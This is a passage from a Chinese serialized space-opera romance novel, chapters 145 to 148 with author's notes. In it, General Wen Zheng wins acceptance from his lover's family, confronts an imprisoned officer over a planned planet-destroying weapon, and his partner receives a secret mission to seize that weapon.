书房里陷入沉默。 闻铮张了张嘴, 一时之间一句话都说不出来。 艾德莱斯也默不作声，显然好友的惨烈牺牲也让他这四十年不好过。 在那一天，他同时失去了两个至交好友。 段和华几乎疯了, 他留守主星系, 知道裂云号被击碎的消息也根本赶不过去救沈河。随后德瓦帝国切断了和主星系的通讯，等到他接到沈河死讯的瞬间, 他的世界崩塌了。 “年少时我们虽然看待问题的角度会有差别，但还是相信和平与人性的力量。”艾德莱斯说, “自那以后，他就变成了彻头彻尾的主战派。” 甚至手段更为激烈、更加极端, 用主战派来形容他的主张也不太准确——他不希望开战，他只希望用武力让所有德瓦人都去死, 把这个种族从宇宙间完全抹去, 灰飞烟灭。 闻铮抿紧了唇, 半晌才说：“在某种程度上, 我理解段上将。” 在他的父母殉职后的一段时间里, 他和段洄的想法如出一辙。 直到他含恨参军，又经历了这么多战场, 看到了数不胜数的死亡和惨烈，他才看到了被仇恨所蒙蔽的另外一面。 “曾经有三年, 我执着于杀光所有我能杀掉的德瓦人，这个种族已经烂了，他们的存在对其他的物种来说都是无边无际的灾难和威胁。”闻铮缓缓道，“直到诺斯之战结束后，我在一个德瓦人尸体上发现了一个影像留存吊坠。” 吊坠一打开，就会在眼前映射出里面提前录入的三维影像和视频。 六七岁的德瓦小女孩，对着镜头笑得很可爱。 原来德瓦人并不是基因里生来就是如此, 在还没有被驯化洗脑成掠夺资源的战争机器之前，这些德瓦孩子们，就和其他物种的幼崽一样，有着最纯净的一双眼睛。 20岁的闻铮，在那一刻突然从被仇恨笼罩的黑暗中醒来了。 “段家一直以来都是完全的主战派，”艾德莱斯叹了口气，“曾经老段是不认可家族的主张的，在那之后，他成为了段家的话事人，家族的利益和他的恨融为一体，只是我不知道他这条路最终要走向哪里。” “……我知道。” 闻铮垂眼，轻声道：“您是否听说过一种物质，叫做’Annihilation’？” 艾德莱斯皱眉：“没有，这是什么物质？” 闻铮抬手，书房里的物质再生机给他做了一杯咖啡：“我从头和您说。” …… 闻铮和艾德莱斯在书房里已经待了两个小时。 在此期间，裴简珩带着家居AI和艾尔文人管家给闻铮准备好了一间最大的客房，窗景明亮，推窗见绿，位置也极好——极好的意思是它紧挨着裴简珩的房间，嗯，极好。 他正在亲自给闻铮选择一间自己家里的房间，在里面摆上他喜欢的花，换上他喜欢颜色的床单，还让管家准备了闻铮喜欢喝的低度数果酒。 这让他心里的幸福感喷薄而出，那张俊美脸上的笑容压也压不住。 他伸手把那束花调整了一下角度，让最漂亮的地方对着床头，这样闻哥一眼就能看到。 就在他弄好准备离开房间的时候，一转身，他看见了霍曼在门口。 裴简珩一怔：“怎么了？” 霍曼神色有些难明：“你亲自给闻上将整理房间？” “什么叫亲自，”裴简珩失笑，“有这么多家居机器人，难道还需要我上手打扫吗？我只是稍微布置一下，让闻哥可以感觉到宾至如归。” 霍曼点了点头，没再说什么，只是看了一眼窗外的月色，似乎下定了什么决心，缓缓道：“今天天气很好，月亮很圆。” 裴简珩也顺着他的目光看了一眼，在花园的映衬下，月色的确很美。 还不等裴简珩表示赞同的话说出口，霍曼接着又问：“你是AA恋吗？” 裴简珩：“……” 裴简珩：“？” …… “我倒是真的没想到，”艾德莱斯上将喝了一口咖啡，感慨，“你这三年居然发生了这么多事。” 闻铮纠正他：“准确来说，都是在最近四个月内发生的。” 他想了想，又补充了一句：“就是在简珩来到我手下以后。” 你儿子自带腥风血雨体质啊。 既然提到裴简珩了，艾德莱斯神色也闪过一丝歉意。 在闻铮和他说到有关于UNK-322上发生的事情以后，他就隐隐约约猜到了。 “抱歉强行封住了你的记忆。”艾德莱斯诚恳道歉，“一方面，这是联邦3S级机密的规定，另一方面，作为简珩的父亲，我也希望这件事知道的人越少越好，不希望把他变成一个活靶子。” 闻铮颔首，只是道：“没什么，您放心，我理解。” 怎么会不理解呢？ 超S级的Alpha，近乎恐怖的身体机能，基因改造实验体，两个父亲一个是五星上将，另一个是联邦前三富豪，再加上距离成为爱人只有一线之隔的第三军团之刃……这些标签一个一个贴上去，无异于把当时只有二十出头的裴简珩推到风口浪尖。 在记忆被封存背后的考量，闻铮在恢复记忆之后就想明白了。 他失去了一段记忆，失去了裴简珩四年，但能在Alpha一切都还不确定的时候换来难得的安稳与安全，闻铮想想又觉得，也值得。 毕竟四年前各有难处，又何必在如今回过头不依不饶。 艾德莱斯看了一下时间，竟然已经聊了三个小时了。 他缓缓道：“早点休息吧，闻上将。” 闻铮也站了起来，对他点点头就准备出去，就在他打开门的一瞬间，艾德莱斯的声音在他背后响起。 “闻铮。” 艾德莱斯极少在他面前叫他的全名，在闻铮刚入伍的时候叫他小朋友，在他终于赢来了第一个军衔之后，艾德莱斯就一直叫他的姓氏和军衔。 闻铮似有所感地转头看去，艾德莱斯坐在书桌后面，看向他的眼神很复杂，半晌才说：“多谢你照顾简珩，他在你那边，我很放心。” 闻铮怔住了。 这句话看似很正常，实则能解读的意思却很多。 他们都是聪明人，一句话说到这里，就足够了。 他眼底有些湿润，轻轻说：“……抱歉。” 抱歉不能告诉你我的真实性别，抱歉让你的儿子承担AA恋的名声，抱歉—— “不需要感到抱歉，”艾德莱斯却说，“简珩是我的儿子，我也早就把你当成了我的半个儿子，我希望你们都可以幸福。” “如果说战争教会了我什么道理，那就是幸福得来不易，在唾手可得的时候，不要把它推得更远。” 他对闻铮笑了笑，在这一瞬间，闻铮在艾德莱斯身上看到了属于裴简珩的那种包容与温和。 “好好休息，小铮。” …… 闻铮回到房间的时候还有些神思恍惚。 给他安排的这个房间很大很舒适，窗外是上将府邸的花园，有花香顺着敞开的窗户飘散进来，让他感到心神宁静。 床头也摆着一个花瓶，里面插|着鸢尾兰和玫瑰，很漂亮。 他知道，这是他的Alpha给他准备的。 闻铮沉默地脱掉西装，沙发上摆着干净的睡袍和换洗衣物，他拿上衣服就去了浴室。 在热水打下来的一瞬间，泪水也悄悄混入了其中。 在知道了裴简珩是艾德莱斯的儿子以后，他多少有些把握，自己的这位好友兼导师不会进行太大的阻拦。 从理性上看，自己对他很有用，就算是出于利用，他也不会多么强硬地反对把闻铮推得更远。 从感性上看，他知道艾德莱斯对他也是真心相待，所以不会真的采取什么措施棒打AO。 但他确实没想到，艾德莱斯竟然会接受的如此轻易，他原本想好的一些剖白，也没能用上。 更没想到，在他父母去世以后，十六年了，第一次又有人叫了他一声小铮。 他擦了一把脸，那双漆黑如夜的眼底还有着微红的湿润，苍白的两颊也因为热水的缭绕而泛起薄红，让他此刻看起来脆弱又艳丽。 何德何能，他能遇到这样好的一家人呢。 等他从浴室出去的时候，某个Alpha已经不请自来，偷偷摸摸地摸进了房间里，正在沙发上等他，手里还拿着一盘水果。 裴简珩看到了眼眶微红的闻铮，立刻紧张起来：“怎么了闻哥？！是我父亲说了什么吗？你不要管他——” “——简珩。” 闻铮轻声打断了他，对他笑：“过来抱抱我。” 裴简珩立刻把果盘丢掉，三步并做两步，将他一把拥入怀中！ 闻铮双臂也环上裴简珩的臂膀，鼻尖萦绕着他那令人安心的檀木香，希望这一刻可以永远永远持续下去。 …… 安静地抱了一会儿，闻铮把艾德莱斯的反应和裴简珩说了，裴简珩也是愣了一会儿，才喃喃道：“父亲竟然会这么……” 和闻铮一样，他猜测艾德莱斯不会特别激烈地反对，但他也没想到他会如此平静地接受，裴简珩原本预设最好的情况是自己的父亲会不接受不反对，让他们回去再想想。 闻铮喝了一口水，有些怅然：“可能也是想到了段和华吧。” 哪怕是和平年代，能遇到一个彼此深爱的人都并不容易。更何况是在这个战火四起的时代，哪怕遇到了，也不得不面对着生离死别的痛苦。 也许这个时候，人都会比较想得开。 况且闻铮除了是个“Alpha”以外，其他所有条件都是联邦目前最顶尖的那一位，无论是身材样貌还是能力军衔，多少人在他后面抻着脖子排队，就等着他能看自己一眼。 闻铮觉得是自己有幸遇到了裴简珩，裴简珩还觉得是自己积了八辈子的德才能得到闻铮的青眼。 艾德莱斯上将估计也有这个想法，左右他们家不止没吃亏，反而是赚大了…… 裴简珩把一颗葡萄剥好皮递到闻铮唇边，语气轻松了很多：“那除此之外，还聊了什么吗？”—— 作者有话说：霍哥：今天天气很好，弟弟你是gay吗？ 第146章 蹬鼻子上脸 “很多。”闻铮说, “基本上我们了解到的信息和经历过的事情，都和他说了。” 和他猜测的一样，艾德莱斯和联邦主席得到了秘密情报, 在7号星上出现了德瓦人的异动以及德瓦哨兵的身影, 他们不方便大张旗鼓地调查，以免惊动他们。否则一旦转为地下, 这些阴谋就更不好追踪了。 恰好闻铮在那时也想暂时离开，双方一拍即合。 7号星上隐隐约约的异动已经明了, 是德瓦帝国的保守派在尝试利用蓟梨草和B-356进行基因退化实验，一旦成功, 对于人类将是灭顶之灾。 艾德莱斯也分享了前线信息，德瓦帝国已经派出了哨兵5军和7军压往了洛河星系, 此前军部还不清楚为何他们唯独选择这个偏远的星系作为首战战场, 真的只是因为被7号星的上将段洄侵|犯了所谓的“帝国荣誉”吗？ 而就在闻铮带着蓟梨草和B-356的情报回来以后, 一切都有了答案, 他们要的是蓟梨草！大批量的蓟梨草！ 此前小范围的收集只是为了实验, 而如果要将整个人类种族都进行基因退化，这种程度的偷偷采集绝对不够, 只有把7号星彻底占领，划到了德瓦帝国的名下, 才能光明正大的想要多少就有多少。 7号星，就这样成为了众矢之的。 而在7号星上的人…… 闻铮微微蹙眉，问裴简珩：“你能联系上江悦他们吗？” 裴简珩一怔，他平时没什么事不会联系江悦，听到闻铮这么问，顺手就点开了通讯给江悦发通讯请求，结果通讯响了半天, 最后显示无法被接通。 Alpha也皱了皱眉：“不应该啊，没听说7号星的通讯受阻。” 闻铮尝试联系林瑜淞和戴维尔，也没有接通，这让他心里有一丝不安，打算明天用军部的通讯再试试。 “说到江悦，”裴简珩想到了上一次他们在逐星号上的通讯，轻声问，“如果我没理解错，您是想让林瑜淞辅佐江悦从政吗？” “江悦有这个潜力，”闻铮淡淡道，“她是目前站的最高的艾尼默人，是时候为自己的种族奋力一搏了。瑜淞先前就是从政的，这种混乱的时局对他来说，想趁乱上位是很简单的事情，我不担心。” “您很信任林瑜淞，”裴简珩说，“我可以问问原因吗？” 闻铮敏锐地察觉到了什么，眯眼：“你好像很在意。” 裴简珩移开目光，声音很低地嘟囔：“早就想问了，您对他的信任度好像比其他人都高……” 神神秘秘的，哪怕临走之前大吵了一架，其他人都被吓到了，但他却觉得好像没有那么简单。 闻上将笑了。 如果裴简珩现在真的有耳朵和尾巴，早就耷拉下去了。 闻铮凑过去，横跨过他的身体，跨坐在他的盆骨上方，轻轻挠了挠裴简珩的下巴：“哪里来的酸味。” 裴简珩把自己的下巴垫在他手心上，抱怨：“还不是您什么都不和我说！” 闻铮注视着自己的爱人年轻俊美的五官，轻声道：“在政治和权利中浸淫过的人是不能被投注100%的信任的，只有当其中掺杂了利益、合作、交换、把柄、威胁和一小部分的感激的时候，才会外显成忠诚的模样。” 林瑜淞是这样，其他所有政客都是这样，也包括一部分的闻铮自己。 裴简珩微微一怔，他能听出来闻铮的言外之意：“您这是——” “总有一天你也会变得像我一样的，简珩。”闻铮微笑，梨涡在他颊边盛出一个温柔的弧度，“你的未来光辉灿烂，你会慢慢变成一个利用起所有人都得心应手的政客，但我知道，无论你被推着走到什么地步，底色都不会变，你还是你。” 他贴入了裴简珩的胸膛前，没有再说话。 战争、政治、阴谋、死亡……这些共同凝聚成了巨大的狂风骤雨席卷而来，而他们都正在风暴的中心。 在接受风暴洗礼的时候，就像裴简珩数次奔赴自己而来，为了他将生死置之度外一样，闻铮希望自己也能为裴简珩做些什么，在最复杂的时局中，也许他还能教会自己年轻的爱人一些东西。 裴简珩会成为联邦的另一个传奇。 他一定会，闻铮也一定会确保他会。 …… 次日早上，裴简珩和闻铮是一起从客房出来的。 也许是艾德莱斯和裴又青深夜聊了什么，裴又青眼见了这一幕，虽然神色有些复杂，但也还是什么都没说。 同样神色复杂的还有刚知道自己弟弟是AA恋的霍曼·艾德莱斯。 苍天呐，阿珩从小到大就没谈过恋爱，也没见他对任何Omega、Beta、甚至其他种族有过青眼，结果第一次栽进去，就栽在了目前联邦新生代最强的Alpha上将手里！ 霍曼是商人，他知道裴简珩和闻铮在一起对艾德莱斯上将、对裴家的商业帝国、甚至对裴简珩自己来说都是百利而无一害，但作为裴简珩的哥哥，他一直以为自己的弟弟会找一个和他一样的、高等级的、漂亮温婉的Omega组建家庭，还能有一两个出类拔萃的小孩子可以给自己玩，一家人就这样和和美美的生活下去。 现在的弟妹……弟弟……弟……算了，也不知道该怎么称呼，联邦大杀器，着实和温婉擦不上一点边。 但……算了。 霍曼虽然有点头晕脑胀，但在看到闻铮那张脸的时候，什么想法都没了。 联邦有史以来最年轻的四星上将，第三军团统帅，悬空号战舰舰长，只要这场战争联邦赢了，闻铮保不准就是下一个五星上将，前途亮得晚上都睡不着觉，现在看上了自己弟弟，烧香拜佛都许不了这个愿吧！ 再说了，就算抛开这些光环，闻铮是艾德莱斯一手锻造成的一把剑，品行才能都是自己父亲看了十几年的，怎么会不放心呢。 闻铮倒是对霍曼的想法一无所知，他从二楼刚刚下来，就看见艾德莱斯上将对他招手：“简珩，小铮，来吃早餐。” 闻铮看向他，有些无措，一时之间还得适应一下陡然转变的关系和辈分。 裴简珩在听见小铮两个字从自己父亲嘴里说出来的时候，那双湛蓝色的眼睛都笑得弯了起来。 餐桌上，艾德莱斯温声道：“吃完你应该要回第三军团和悬空号一趟吧？” 闻铮嗯了一声：“在回去之前，我还想去一个地方。” 艾德莱斯挑了挑眉。 “我想见一面段洄。”闻铮喝了一口咖啡，目光沉沉，“有很多事情我要从他那里得到一个确认。” “……也好，”艾德莱斯沉吟，“我来安排。” 他的目光又转向了裴简珩：“你要一起去见他吗？” 裴简珩的脸色也微微沉了下来，把嘴里的西蓝花咽下去后，方才道：“他选择了他的路，我选择了我的。闻哥想问的就是我想知道的，除此以外，没有什么好再聊的了。” 艾德莱斯颔首，语焉不详地说：“你那边的事情你自己安排，战争期间你会被归入第二军团，你一会儿带人去瑞德上将处报道。” 瑞德上将统领第二军团，裴简珩此前就在他手下，关系还可以。 裴简珩点头，他现在所带领的小队是高战力的机密情报搜集和突击小队，此前还有个段洄和他分庭抗礼，现在段洄搞了这一出后，整个小队都是他来统领了。 裴又青全程却没怎么说话，只是沉默地吃着自己的早餐。 裴简珩注意到了，但他知道很多话这个时候说也并不合适，于是看了一眼霍曼，大公子接受到弟弟的目光，苦笑着比了个手势。 能有什么办法，说一千道一万，还不是得帮唯一的弟弟一把。 只是，任谁也没有想到，一顿早餐都不发一言、看起来还是需要一点时间去接受的裴又青，在艾德莱斯、闻铮和裴简珩出发去军部的那一刻，还是在他们出门前轻轻说了一句：“注意安全，你们三个都是。” 已经感受到裴又青尴尬态度的闻铮有些愕然，他回过头去，看到裴简珩的另一个父亲神色复杂地看向他，那双棕色的眼睛里思绪万千，最终还是叹了口气。 “毕竟你是联邦的希望，也是阿珩的希望。” 即使他需要一点时间去适应和接受，但裴又青也尊重自己儿子的选择，尊重他的爱人，也尊重这个联邦的希望。 闻铮嘴唇微张，半晌才沙哑地应道：“……多谢您。” 裴简珩搭上了闻铮的肩膀，对自己的父亲笑了笑：“谢谢父亲，我晚上就不回来住了。” 裴又青：“……” 他开始头疼，也懒得问胳膊肘往外拐的小儿子要去哪里住，反正答案呼之欲出。 闻铮伸手打了裴简珩的胳膊一下，瞪他。 蹬鼻子上脸！ …… 首都星，联邦军部监禁室 狱警的声音又从天花板上传来：“段少将，您有一个访客，将于1分钟后进入监禁室。” 段洄坐在角落里，百无聊赖地在纸上涂涂画画，闻言也只是抬了抬眼睛，没当回事。 随便，不管谁来，又有什么区别。 只是一分钟后，当监禁室的门打开，那个瘦削高挑的身影出现在门口的时候，段洄却完完全全怔住了—— 作者有话说：艾德莱斯：超级加辈（不是 ———— 裴又青会想通滴，别扭一下就算了，毕竟闻哥这样的好媳妇可是打着灯笼都找不到（？ 第147章 颠倒因果 那个身影穿着上将军服, 身形挺拔修长，他没有戴军帽，一张脸苍白瘦削, 眉眼艳丽, 看向自己的目光冰冷又漠然。 段洄慢慢道：“……闻上将。” 他笑了一下：“这还是我第一次有幸见到闻上将本人呢，没想到是在这样的情况下, 实在是让我有点丢人啊。” 闻铮垂眼看着这位只存在于江悦的转述和裴简珩话里的段洄，他的军衔在回到首都星以后就被降回了少将, 但在正式庭审之前还没有被褫夺。 段洄的眉眼都很淡，五官倒是很精致, 只是那双眼睛太过狭长上挑，看起来心机颇深, 不好相与。 闻铮也不和他废话, 唇齿间磨出了丝丝缕缕的恨：“看看你都对7号星做了什么。” 甚至不是问句, 因为此时此刻的两个人都心知肚明, 段洄已经彻底将7号星推入了万劫不复之地。 他的发难也在段洄的意料之中。 在他到了7号星之后, 他查了暗影组经手过的每一个案子，在每一条线索、每一个案情、每一个人物的背后, 他都能看到这位闻指挥官深埋其中的一颗心——他对7号星有一种特别的情感，他在守护这颗荒芜落后的星球, 他希望这颗星球可以变得更好，也希望原住民艾尼默人可以拿回属于自己的东西。 “……抱歉毁了你守着的星球，”段洄说，他的眼底闪过一丝怅然，“但在通往最终胜利的路上，总有不得不被牺牲的东西。” “最终胜利，”闻铮在唇齿间咀嚼这四个字, 冷笑了一声，“你凭什么认为你能为联邦带来最终胜利。” 段洄哂然，并不回答。 闻铮也没指望他回答，倏而一笑，竟如冰雪消融，只是在消融背后却露出了更深的嘲讽：“凭你们的’Annihilation’吗？” 这句一出，段洄脸上那种让人想狠狠揍上一拳的笑容蓦地消失！ 半晌，他才说：“我不知道闻上将在说什么。” “没有必要再装了，”闻铮双手环胸，冷冷地看着他，“你们想把整个德瓦母星付之一炬，从宇宙间抹去，这就是你们定义的最终胜利。” 段洄没说话，心里却是狠狠一惊。 果然！ 闻铮可不是省油的灯！ 上次他就跟段和华说过了，这位闻上将很有可能会成为他们成功路上的最大的绊脚石，果不其然，他对于他们要做的事情、掌握的东西都已经了如指掌。 但即使如此，也没人能阻止他们。 这是他们父子多少年来唯一的念想，他们的内里早已在沈河牺牲那一瞬间就空了，唯有这一腔恨意才能支撑着这两具皮囊走到如今，苟延残喘着要实现最后的一个执念。 他们已经赌上了一切，决不允许任何人、任何事对其产生威胁！ 段洄眼底划过了一丝冷光，却依然不发一言。 闻铮见他只是沉默，便转换了态度，轻轻叹了口气：“段洄，我知道你恨德瓦帝国入骨，我也恨，但你就对联邦没有报以深爱与信仰吗？一旦这种武器出现、一旦它以联邦的名义被使用——你很清楚接下来会发生什么，联邦会就此分崩离析！” “……只是暂时。” 怀柔策略有了一点用处，也有可能闻铮的这个角度正好切入了段洄心里隐秘一角的顾虑，让他终于肯开口，喃喃道：“即使联邦分裂，那也只是暂时的，没有了德瓦帝国这个最大的威胁，终有一天，联邦依然会重新建立。” 闻铮凝视着这个坐在角落里的少将，他比裴简珩也就大几岁，年轻，有才能，野心勃勃，满怀仇恨，和自己当年参军的时候如出一辙。 只是他没有和自己一样遇到艾德莱斯这样的导师，也没有在战场上捡起那一块影像留存吊坠。 “别让你对德瓦帝国的恨完全吞噬了你对联邦的忠诚和爱，那是区别于人类和德瓦哨兵最根本的东西。” 闻铮只是说了这么一句，其他的也没必要再多费口舌。 他本意是来逼问出’Annihilation’被他们存放在哪里，但他在见到段洄以后就知道了，他不会说的。 “我已经知道了’Annihilation’的存在，我就一定会阻止你们。”闻铮的神色冷冽又肃然，“你说不说，对我来说都不重要。” 段洄抬眼上眼皮看了看他，叹了口气：“闻上将，我很佩服你，你的父母也都死于德瓦帝国之手，你竟然还能如此客观清醒。” 提到了自己的父母，闻铮脸色微沉。 “也许你能做到，但我做不到。”段洄轻声道，“即使我被军事法庭宣判有罪，即使我被关进联邦法则之塔，都没关系。有人会替我们达成这个目的，我们有着共同的愿景和一致的利益，你拦不住的。” 闻铮眉心微微一动，段洄的话里似乎有其他指向性，让他不得不多想。 “我不否认’Annihilation’存在的意义。”沉默了一会儿，闻铮缓缓道，“这种强有力的武器可以作为联邦保护自己的倚仗，如果是在战争期间，有这样的武器可以用来提前结束战争，减少更大的伤亡，我会有不同于现在的考量和决定。” “但你们颠倒了因果，段洄。” 不是为了结束战争而不得不使用灭绝武器，而是为了使用灭绝武器而不顾一切地挑起战争。 段洄没有说话，只是伸手按下了墙上的按钮，宣告本次探视即将在一分钟后结束。 在这一分钟内，段洄似乎想问什么，又好像并不敢问。直到门打开的前一瞬间，他才好像终于狠下心，低低问：“他……没和你一起来吗？” 闻铮本来已经转身准备出门了，闻言又愕然地转了过来。 段洄的目光越过闻铮的肩膀落在他身后的墙上，表情有些不自然，扯了扯唇角：“我知道裴简珩跑到7号星去当你的下属了，你们也一起出了所谓的’外勤’，现在一定已经都回到首都星了。” 段洄低声笑了一下：“他居然没有和你一起来见我。” 闻铮眉心微微抽动了一下，他敏锐地察觉到了什么，隐隐约约地，不甚清楚，却模糊地感觉有些奇怪。 他只是简短道：“你们只是前同事，他为什么一定要来见你？” 闻铮注视着段洄脸上的表情，语气很平静，说出来的话却又扎人一般的刺痛：“简珩不想见你，他认为没有意义。” 段洄脸上闪过的错愕和扭曲没有逃过闻铮的眼睛，他表现得仿佛被无数根针刺到了一样。 一分钟到了，闻铮踏出了监禁室。 他回头注视着监禁室的银白色墙面，那双漆黑的眼里深不见底。 “嗡嗡——” 闻铮手腕上传来震动，他垂眼看去，是裴简珩的讯息。 …… 裴简珩注视着眼前的联邦星舰军部大楼，这里一共伫立着四栋高大雄伟的银色建筑，最中心的是总部大楼，被从左到右的三栋楼环绕，第一、第二、第三军团各一栋。 高耸入云的塔尖，银白色的外立面，环绕其中的高空悬浮车轨道和零星的随行舰，地面上穿着军装的不同人种、不同种族的军官……都在彰显着联邦存在的意义。 一个容纳所有物种和生命，寻找和谐之道与共同发展的存在。 裴简珩的目光移到了隔壁的第三军团大楼。 第三军团的大楼就和它的统帅一样，像一把高耸入云，直插云霄的剑，相比之下，第二军团大楼则是矮重宽厚，宛如一座可靠无比的盾。 裴简珩看到第三军团大楼的一瞬间，就想到了闻铮。而在想到闻铮的同时，他的唇角就挂上了轻轻浅浅的笑意。 他掏出通讯，给闻铮发了一条讯息，随后踏进了第二军团大楼的大门。 两分钟后，他敲响了瑞德上将办公室的门。 “裴少将。” 瑞德上将没有坐在办公桌后面，而是站在落地窗旁对他抬了抬手里的咖啡杯：“好久不见咯。” 裴简珩也微笑地敬了个礼：“好久不见，瑞德上将。” 瑞德上将是莱克尔族在联邦中的代表，也是这个种族目前站得最高的人。联邦的八大上将都是如此，在闻铮破格被晋升为四星上将之前，联邦多少年来都只有七大四星上将，各自代表了联邦目前最主要的七大种族。 莱克尔人示意了一下窗外：“刚刚我看到你在门口徘徊了许久，怎么了，太久没回来找不到大门了？” 瑞德上将在这些四星上将里算年轻的，行事风格也没有那么刻板，他的性格也比较率性，和裴简珩蛮合得来。 裴简珩的话还没出口，就看见瑞德上将眯起了眼睛：“还是说你更想去隔壁？” 没有不透风的墙，尤其是在军部里。 所有人都盯着艾德莱斯五星上将——这位亲自去接人，先不论逐星号怎么又回来了，但逐星号的门一打开，里面出来的人是闻铮——这个消息早就在眨眼间传遍了，所有跟着闻铮一起回来的人都被这帮上将们查了个底儿掉。 裴简珩也不装什么，哂然一笑：“既然军部给我分到第二军团，肯定有需要我做的任务。” 瑞德颔首，他示意裴简珩在面前的椅子上坐下：“段洄的事你听说了吧？” “当然。”裴简珩一时之间也不知道说什么，段洄其实和他之间没有明确的汇报关系，但毕竟他们是职称和职权相当的同事，想完全摘出去也不太可能，所以只能轻轻叹了口气。 艾德莱斯早上就和他开过短会了，瑞德大概知道了一些情况，他点开自己的通讯，把一个任务指令扔给了裴简珩：“你带你的人去这里。” 裴简珩点开任务细节，微微皱眉：“玛特星系？这已经在联邦的最北端了，很荒凉，去这里做什么？” 瑞德眼底划过一丝冷光：“艾德莱斯上将在几年前就让我关注段上将的动向了，这里是我发现他的地下势力有踪影的地方。” 裴简珩一怔，立刻明白了瑞德的意思：“你是说，’Annihilation’有可能在这里？”—— 作者有话说：感谢北风其喑、34402499、三硝和苏怿清的营养液！ 掉落瑞德上将同款咖啡杯x1！ —— TT人性还是很复杂的，立场、经历、想法……种种的种种会促使不同的人做出不同的决定和选择[无奈] 第148章 你的任务只有一个 “只是有可能。” 瑞德上将啄了一口咖啡：“其他地方都没有异样, 只有这里是他和段洄都曾经短暂停留过的坐标，虽然只停留了四个小时，还是以中转的名头, 但我觉得好像有些不对劲。” 裴简珩眉心微皱, 他点开了玛特星系，悬浮屏上立刻跳出来了相关的信息, 这个星系有33颗行星，6颗有生命, 27颗无生命。 而…… 裴简珩想到了戈维说过的话，又输入了一个参数, 下一刻，悬浮屏上的六颗星球就瞬间灰了下去！ 死星！ 这六颗星球, 早已经变成了空空如也的死星, 只剩下了一个空荡荡的壳。 裴简珩无意识地攥紧了拳。 戈维说过, 有6颗星球都被宣告枯竭成为死星, 这6颗竟然都在玛特星系, 确实很难不让人产生怀疑。 不过段和华怎么会蠢到犯这么明显的错误？ 瑞德看出了裴简珩的疑惑，替他解答：“玛特星系有随机出没的虫洞, 伴随着巨大的能量虹吸，根据军部历史观察记录, 这个神出鬼没的虫洞在多年前就已经虹吸过三个星球的能量。” 怪不得。 裴简珩脑中灵光一闪。 在联邦最遥远的北边，几乎没有什么生物居住的荒凉星系，还伴有神出鬼没的奇诡虫洞……就算再多星球变成死星，只要没有太大的生命伤亡，军部也不会多加留意。 还有比这更适合提取’Annihilation’晶体的地方吗？！ 难怪艾德莱斯上将和军部都被段家瞒在鼓里，实在是下得一手好棋！ 若不是艾德莱斯心有警惕，让瑞德上将提早就关注起段和华与段洄的可疑踪迹, 他们根本想都想不到这里！ 瑞德上将的话就讲到这儿，他能从裴简珩脸上的表情看出来他已经想通了，他最满意的就是这个年轻又前途无量的Alpha，有这么一个聪明的脑子，和他说话共事都很轻松。 裴简珩收起了悬浮屏：“您的意思是让我带着我的人潜行过去？但如果这样的话，我就没办法在东翼战场协助第二军团了。” “没关系，你的任务也不是帮助第二军团。” 瑞德看着他，忽而一笑：“你的任务只有一个，不惜一切代价拿到’Annihilation’。” 不、惜、一、切、代、价。 裴简珩不知道联邦军部打算如何处置这个东西，但不管要做什么，必须得先拿到手里才能紧握主动权，否则他们现在着实是面对着内忧外患，太被动了。 裴简珩站直，给瑞德上将敬了个军礼：“明白，我会带着’Annihilation’回到联邦军部总部。” “……不。” 大大出乎裴简珩的预料，瑞德上将却从唇齿间吐出了一个字。 裴简珩一怔，莱克尔人却沉默了一瞬，半晌才慢慢开口道：“艾德莱斯五星上将和闻上将已经商议过了，他们得出了一致结论。” “你拿到’Annihilation’之后，不用回总部。” “……直接暗中前往德瓦帝国母星。” 一句话宛如惊雷坠地，裴简珩甚至惊愕到倒退一步！ …… 通讯里静静躺着裴简珩的一封讯息。 ——“闻哥，中午可以一起在总部吃饭吗？我请你吃第二军团的餐厅^^” 后面还跟了一张大狗撒娇的表情包，和上次那张是同一个系列的。 闻铮看到以后回复了。 “第三军团餐厅，我带你去。” 但裴简珩没有再回复。 闻铮已经从拘留室去到第三军团大楼楼下了，他抬腕看了一眼，裴简珩还是没有回复。 闻上将几不可见地皱了皱眉，不知为何，在这个瞬间他心里竟然有点期待再看到另一张大狗的表情包。 不过…… 闻铮在第三军团大楼门前站定，缓缓抬眼自下而上地凝视着这座大楼。 三年了。 他终于又穿着军服，直直地站在这里了。 闻铮反手将军帽戴上，他半长的黑发高高扎成一束，整个人又高又瘦，长身林立，锐不可当。 他身上的上将军装过于显眼，而比军装还显眼的，是独属于闻铮的那张脸。 自踏进了第三军团大楼的那一刻开始，所有路过他的第三军团军官都震惊激动得无以复加，只能都灌注于满怀着敬意的军礼之中！ 第三军团大楼的大堂和7号星的总部大楼一模一样，一颗悬空的钢铁头颅漂浮在半空，这颗头颅双眼紧闭，双耳关合，正在随着设定好的碳基生物的呼吸频率上下起伏。 闻铮沉默地凝视了它一瞬，转身向认证入口走去。 认证入口是一个漂浮在半空中的机械眼睛，感受到有人前来，它周身发出了莹莹的光。 “检测到来人。” “正在扫描生物信息……” “信息采集中……” “身份认证中……” “欢迎回来，闻上将。” 随着机械眼轻快的声音，它发出了绿光，随即它的身上拓展出一扇门，门的尽头是一辆升降梯。 一分钟后，闻铮已经站在自己曾经的办公室门口了。 他刚一出现，在门口开放式工位坐着的一位Omega就惊愕地站了起来，惊喜之色溢于言表：“闻上将！” 闻铮看向他，眼神温和下来：“穆兰。” 穆兰是中校，做了他六年的助理，心思极为细腻周到，有他在闻铮省了很多心。闻铮毫不吝啬给手下的人机会和奖赏，所以穆兰跟着他以后一路从中尉升到中校，在不上战场的情况下，这已经是坐了星舰一样的速度了！ 穆兰那张清秀精致的脸上泛起薄红，哪怕他们事先或多或少地收到风声，知道闻铮突然回到联邦军部，但很多人依然不敢置信！ 尤其是曾经悬空号的旧人们，更是私下里多方打听，不知道闻铮这次回来职务会不会有变化，还能不能……再做回他们的舰长。 穆兰一天要接到数十个或直接或委婉地打探，但他也只能苦笑，因为他什么官方的消息都没接到！ 而直到此刻，闻铮突然出现在这里，穆兰才终于有了落定的确定感，看向闻铮的眼神里满是激动与怀念。 闻铮垂眼看向他，笑了笑：“这三年辛苦你了。” 穆兰眼眶有些微红：“……您终于回来了！” 战争已经打响，哪怕他们是联邦的士兵和军官，也依然需要一剂强心针。穆兰的消息非常灵通，前段时间他就一直听说，在军部中层私下里有些传言——说联邦把闻上将搞走了，现在和德瓦帝国的战争又一次爆发，这次指望着谁还能于危难之中挽救联邦呢？ 谢天谢地，第三军团之刃回来了！ 闻铮拍了拍他的肩膀，开了个玩笑：“三年的时间里，这个办公室没少换人吧，你都换了几任老板了？” 穆兰摇摇头：“您说笑了，这三年第三军团是由艾德莱斯五星上将兼管的，他在总部有自己的办公室，没有用过这间。” 